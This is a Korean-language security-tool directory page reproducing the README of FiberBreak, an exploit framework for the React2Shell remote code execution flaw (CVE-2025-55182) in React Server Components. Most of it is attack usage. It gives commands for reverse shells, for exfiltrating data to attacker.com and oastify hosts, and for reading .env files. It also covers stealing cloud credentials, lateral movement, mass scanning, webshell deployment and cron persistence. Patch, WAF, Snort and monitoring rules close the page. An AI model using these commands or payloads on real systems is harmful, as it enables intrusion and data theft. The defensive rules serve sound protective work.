Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
FiberBreak — React2Shell 익스플로잇 도구 (CVE-2025-55182) | Kitploit
도구/GitHubGitHub/scumfrog/fiberbreak
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationData ExfiltrationPost-ExploitationPenetration TestingCloud SecurityCommand and ControlRed TeamingPayload Development
8개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
scumfrog/fiberbreak

FiberBreak

React2Shell 익스플로잇 도구 (CVE-2025-55182)

저장소 보기

FiberBreak

CVE-2025-55182 (React2Shell)용 익스플로잇 프레임워크 - React Server Components의 치명적인 RCE 취약점입니다.

개요

  • CVE: CVE-2025-55182
  • CVSS: 10.0 (CRITICAL)
  • 유형: 원격 코드 실행 (RCE)
  • 영향 대상: React 19.0.0-rc.0 ~ 19.0.0, Next.js 15.0.0 ~ 15.0.3
  • 발견자: Lachlan Miller (SonarSource)
  • 공개 PoC: maple3142

설치

root@kitploit:~
# Clone repository
git clone https://github.com/scumfrog/fiberbreak
cd fiberbreak

# Install dependencies
pip install -r requirements.txt

# Make executable
chmod +x fiberbreak.py

빠른 시작

root@kitploit:~
# Build vulnerable testing environment
docker-compose up -d

# Wait for startup
sleep 20

# Test detection
./fiberbreak.py -u http://localhost:3000 detect

# Execute RCE
./fiberbreak.py -u http://localhost:3000 exploit -c "whoami"

# Verify
docker exec react2shell-lab ls -la /tmp/

기술적 세부사항

취약점 개요

CVE-2025-55182는 React Server Components(RSC)에서 발생하는 치명적인 원격 코드 실행 취약점으로, 인증되지 않은 공격자가 서버에서 임의 코드를 실행할 수 있게 합니다.

근본 원인: React Flight 프로토콜은 적절한 검증 없이 신뢰할 수 없는 클라이언트 입력을 역직렬화하므로, 공격자가 JavaScript의 프로토타입 체인과 Function 생성자를 남용하는 악성 페이로드를 제작할 수 있습니다.

공격 벡터: 공격자는 Next-Action 헤더가 포함된 조작된 multipart/form-data POST 요청을 임의의 RSC 엔드포인트로 전송합니다. 악성 페이로드는 다음을 활용합니다:

  1. __proto__ 접근을 통한 프로토타입 오염
  2. constructor:constructor를 통한 Function 생성자 노출
  3. 코드 실행을 트리거하는 Promise 해석

익스플로잇 흐름

root@kitploit:~
1. Attacker sends crafted POST request
   └─ multipart/form-data with malicious JSON
   └─ Next-Action header (any value)

2. Server deserializes payload
   └─ React processes RSC chunk format
   └─ Resolves Promise-like object

3. Gadget chain triggers
   └─ __proto__ access bypasses hasOwnProperty checks
   └─ constructor:constructor exposes Function()
   └─ _prefix executes arbitrary code

4. RCE achieved
   └─ Server executes attacker's JavaScript
   └─ Full system compromise

가젯

root@kitploit:~
{
  "then": "$1:__proto__:then",           // Prototype pollution
  "status": "resolved_model",            // Fake React internal state
  "reason": -1,                          // Trigger resolution
  "value": '{"then":"$B1337"}',         // Blob reference
  "_response": {
    "_prefix": "MALICIOUS_CODE_HERE;",   // Executed code
    "_formData": {
      "get": "$1:constructor:constructor" // Function() access
    }
  }
}

영향받는 코드 경로

root@kitploit:~
// react-server-dom-webpack/src/ReactFlightClient.js
function resolveModelChunk(chunk) {
  const value = JSON.parse(chunk.value);
  
  // Missing validation here allows malicious chunks
  if (value && typeof value.then === 'function') {
    // Attacker controls 'then' method
    value.then(/* ... */);
  }
}

사용법

취약점 탐지

root@kitploit:~
# Single target detection
./fiberbreak.py -u https://target.com detect

# Multiple targets from file
./fiberbreak.py -l targets.txt detect --threads 20

# Save results to JSON
./fiberbreak.py -l targets.txt detect -o results.json

# Disable SSL verification
./fiberbreak.py -u https://target.com detect --no-verify-ssl

기본 익스플로잇

root@kitploit:~
# Simple blind command execution
./fiberbreak.py -u https://target.com exploit -c "whoami"

# Write file to disk
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pwned.txt:HACKED" -t write_file

# Read file contents
./fiberbreak.py -u https://target.com exploit \
  -c "/etc/passwd:https://attacker.com" -t file_read

고급 익스플로잇

root@kitploit:~
# Reverse shell
./fiberbreak.py -u https://target.com exploit \
  -c "10.10.10.10:4444" -t reverse_shell

# DNS exfiltration (stealthy, no HTTP traffic)
./fiberbreak.py -u https://target.com exploit \
  -c "whoami:attacker.oastify.com" -t dns_exfil

# HTTP exfiltration with output
./fiberbreak.py -u https://target.com exploit \
  -c "id:https://attacker.com/exfil" -t http_exfil

# Environment variable dump
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

# System reconnaissance
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/recon" -t recon

# Stealth DNS beacon (no command output)
./fiberbreak.py -u https://target.com exploit \
  -c "attacker.oastify.com" -t stealth_beacon

클라우드 익스플로잇

root@kitploit:~
# Auto-detect cloud provider and extract credentials
# Supports: AWS, GCP, Azure, DigitalOcean, Oracle Cloud, Alibaba Cloud
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/cloud" -t cloud_metadata

페이로드 유형

실제 시나리오

버그 바운티 헌팅

root@kitploit:~
# 1. Stealthy detection with DNS beacon
./fiberbreak.py -u https://target.com exploit \
  -c "recon.yourburp.oastify.com" -t stealth_beacon

# 2. If vulnerable, extract sensitive data
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/exfil" -t env_dump

# 3. Check for cloud environment
./fiberbreak.py -u https://target.com exploit \
  -c "https://yourserver.com/cloud" -t cloud_metadata

# 4. Document findings without causing damage

침투 테스트

root@kitploit:~
# Phase 1: Detection
./fiberbreak.py -u https://target.com detect -o detection.json

# Phase 2: Verification
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/pentest_proof.txt:PENTEST_$(date +%s)" -t write_file

# Phase 3: Impact Assessment
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/impact" -t recon

# Phase 4: Credential Extraction (if cloud)
./fiberbreak.py -u https://target.com exploit \
  -c "https://pentest-server.com/creds" -t cloud_metadata

# Phase 5: Interactive Access (if authorized)
# Terminal 1: Start listener
nc -lvnp 4444

# Terminal 2: Get shell
./fiberbreak.py -u https://target.com exploit \
  -c "YOUR_IP:4444" -t reverse_shell

대규모 취약점 스캐닝

root@kitploit:~
# Create target list
cat > targets.txt << EOF
https://app1.company.com
https://app2.company.com
https://app3.company.com
https://api.company.com
EOF

# Scan all targets in parallel
./fiberbreak.py -l targets.txt detect --threads 50 -o scan_results.json

# Filter vulnerable targets
cat scan_results.json | jq '.[] | select(.vulnerable==true) | .url'

# Generate report
cat scan_results.json | jq '{
  total: length,
  vulnerable: [.[] | select(.vulnerable==true)] | length,
  targets: [.[] | select(.vulnerable==true) | .url]
}'

클라우드 인프라 평가

root@kitploit:~
# AWS EC2 Instance
./fiberbreak.py -u https://aws-app.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# Callback receives:
# - Instance ID, region, availability zone
# - IAM role name
# - Temporary AWS credentials (AccessKeyId, SecretAccessKey, Token)
# - User data
# - Network configuration

# GCP Compute Engine
./fiberbreak.py -u https://gcp-app.com exploit \
  -c "https://attacker.com/gcp" -t cloud_metadata

# Callback receives:
# - Project ID, instance name, zone
# - Service account email
# - OAuth2 access token
# - Available scopes

# Azure Virtual Machine
./fiberbreak.py -u https://azure-app.com exploit \
  -c "https://attacker.com/azure" -t cloud_metadata

# Callback receives:
# - Instance metadata
# - Managed identity OAuth2 token
# - Subscription information

익스플로잇 기법

기법 1: 블라인드 RCE 확인

root@kitploit:~
# Create unique marker file
MARKER="pwned_$(date +%s)"
./fiberbreak.py -u https://target.com exploit \
  -c "/tmp/${MARKER}:proof" -t write_file

# Verify via timing attack or out-of-band
./fiberbreak.py -u https://target.com exploit \
  -c "curl https://attacker.com/${MARKER}" -t simple

기법 2: 데이터 유출 파이프라인

root@kitploit:~
# Step 1: Enumerate files
./fiberbreak.py -u https://target.com exploit \
  -c "find /app -type f -name '*.env':https://attacker.com/files" -t http_exfil

# Step 2: Extract configuration
./fiberbreak.py -u https://target.com exploit \
  -c "/app/.env:https://attacker.com/config" -t file_read

# Step 3: Extract database credentials
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/env" -t env_dump

기법 3: 측면 이동

root@kitploit:~
# Extract AWS credentials
./fiberbreak.py -u https://target.com exploit \
  -c "https://attacker.com/aws" -t cloud_metadata

# Use extracted credentials for lateral movement
export AWS_ACCESS_KEY_ID=""
export AWS_SECRET_ACCESS_KEY=""
export AWS_SESSION_TOKEN=""

# Enumerate resources
aws s3 ls
aws ec2 describe-instances
aws rds describe-db-instances

완화 및 탐지

즉시 패치

root@kitploit:~
# Update React
npm install [email protected] [email protected]

# Update Next.js
npm install [email protected]  # or [email protected]+

# Verify versions
npm list react react-dom next

WAF 규칙

nginx

root@kitploit:~
# Block requests with Next-Action header
if ($http_next_action) {
    return 403;
}

# Rate limit RSC endpoints
limit_req_zone $binary_remote_addr zone=rsc:10m rate=10r/s;

location / {
    limit_req zone=rsc burst=20;
}

Apache (ModSecurity)

root@kitploit:~
# Detect Next-Action header
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:2025551820,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'CVE-2025-55182 exploitation attempt detected'"

# Detect malicious RSC payloads
SecRule REQUEST_BODY "@rx (__proto__|constructor|prototype)" \
    "id:2025551821,\
     phase:2,\
     deny,\
     status:403,\
     log,\
     msg:'Malicious RSC payload detected'"

Cloudflare WAF

root@kitploit:~
// Custom rule
(http.request.headers["next-action"] ne "") or
(http.request.body.raw contains "__proto__") or
(http.request.body.raw contains "constructor:constructor")

네트워크 수준 탐지

root@kitploit:~
# Snort/Suricata rule
alert tcp any any -> any any (
    msg:"CVE-2025-55182 React2Shell exploitation attempt";
    flow:to_server,established;
    content:"Next-Action"; http_header;
    content:"__proto__"; http_client_body;
    sid:2025551820;
    rev:1;
)

애플리케이션 수준 보호

root@kitploit:~
// Next.js middleware
export function middleware(request) {
  // Block requests with Next-Action header from untrusted sources
  if (request.headers.get('next-action')) {
    // Validate origin
    const origin = request.headers.get('origin');
    const allowedOrigins = ['https://yourdomain.com'];
    
    if (!allowedOrigins.includes(origin)) {
      return new Response('Forbidden', { status: 403 });
    }
  }
  
  return NextResponse.next();
}

export const config = {
  matcher: '/:path*',
};

모니터링 및 알림

root@kitploit:~
# Monitor for exploitation attempts in logs
grep -r "Next-Action" /var/log/nginx/access.log
grep -r "__proto__" /var/log/nginx/access.log

# Alert on suspicious patterns
tail -f /var/log/nginx/access.log | grep -E "(Next-Action|__proto__|constructor:constructor)" | \
while read line; do
    echo "[ALERT] Potential CVE-2025-55182 exploitation: $line"
    # Send to SIEM/alerting system
done

참고 자료

공식 자료

  • NVD CVE-2025-55182
  • React 보안 권고
  • Next.js 보안 권고

연구 논문

  • Wiz Security: React2Shell 심층 분석
  • OffSec: CVE-2025-55182 분석
  • SonarSource: 최초 발견

커뮤니티 자료

  • maple3142
  • 공개 익스플로잇 모음

법적 고지

교육 및 승인된 보안 테스트 전용

무단 사용은 금지됩니다. 자세한 내용은 LICENSE를 참조하세요.

도구 다운로드
유형형식설명출력
simplecommand임의의 셸 명령 실행블라인드
outputcommand + --callbackHTTP 콜백으로 실행예
reverse_shelllhost:lportBash 리버스 셸대화형
dns_exfilcmd:domain 또는 domainDNS 유출DNS 로그
http_exfilcmd:callback_urlHTTP 유출HTTP POST
file_readfilepath:callback파일을 읽어 유출HTTP POST
write_filefilepath:content파일을 디스크에 작성블라인드
env_dumpcallback_url환경 변수 덤프HTTP POST
cloud_metadatacallback_url클라우드 자격 증명 추출HTTP POST
reconcallback_url시스템 정찰HTTP POST
stealth_beacondomainDNS 비콘DNS 로그
webshellfilepathNode.js 웹셸 배포포트 8080
persistcallback_url크론 지속성 설치크론 작업